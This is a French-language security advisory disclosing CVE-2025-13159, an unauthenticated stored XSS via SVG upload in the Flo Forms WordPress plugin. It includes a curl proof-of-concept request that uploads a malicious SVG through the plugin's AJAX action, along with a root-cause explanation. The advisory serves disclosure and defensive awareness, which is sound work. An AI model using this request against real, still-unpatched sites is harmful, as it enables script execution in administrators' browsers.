
Disclosure for CVE-2025-13159
Divulgation pour CVE-2025-13159
Ce dépôt divulgue une vulnérabilité découverte dans Flo Forms – Easy Drag & Drop Form Builder <= 1.0.43, une extension WordPress développée par flothemesplugins.
| ID CVE | Type | Composant | Impact |
|---|---|---|---|
| CVE-2025-13159 | Cross-Site Scripting stocké non authentifié via téléchargement SVG | public/class-flo-forms-public.php | Un attaquant non authentifié peut exécuter du JS |
curl -k -X POST "https://localhost:8080/wp-admin/admin-ajax.php" \
-F 'action=flo_form_submit' \
-F 'flo_fid=<your fid>' \
-F 'flo-form-model={}' \
-F 'flo-form-schema={"groups":[]}' \
-F '[email protected];type=image/svg+xml'
※Si le fid dans l'objet n'existe pas, cela échouera.
L'extension étend les types MIME autorisés par WordPress pour inclure image/svg+xml et expose une action AJAX non authentifiée (flo_form_submit) qui accepte les pièces jointes et les transmet à media_handle_upload() sans aucune vérification de nettoyage SVG ni de capacités. Les SVG téléchargés sont ensuite servis en tant que image/svg+xml et liés depuis l'interface d'administration. Lorsqu'un administrateur ouvre la pièce jointe (directement, ou via /), le navigateur interprète le document SVG et exécute les scripts intégrés, entraînant un XSS stocké.
Un mois s'est écoulé, mais le correctif n'a pas encore été publié et les téléchargements eux-mêmes ont été arrêtés. Cette fois, la reproduction du PoC n'a pas bien fonctionné et je suis resté bloqué pendant plus d'une heure, mais il s'est avéré que j'avais oublié d'ajouter le signe arobase (@) avant XSS.svg.
Nom : MooseLove
Rôle : Chercheur en sécurité indépendant / chasseur de bugs
Contact : Disponible sur demande
Cet avis est fourni pour la sensibilisation à la sécurité publique. Libre de partager avec attribution.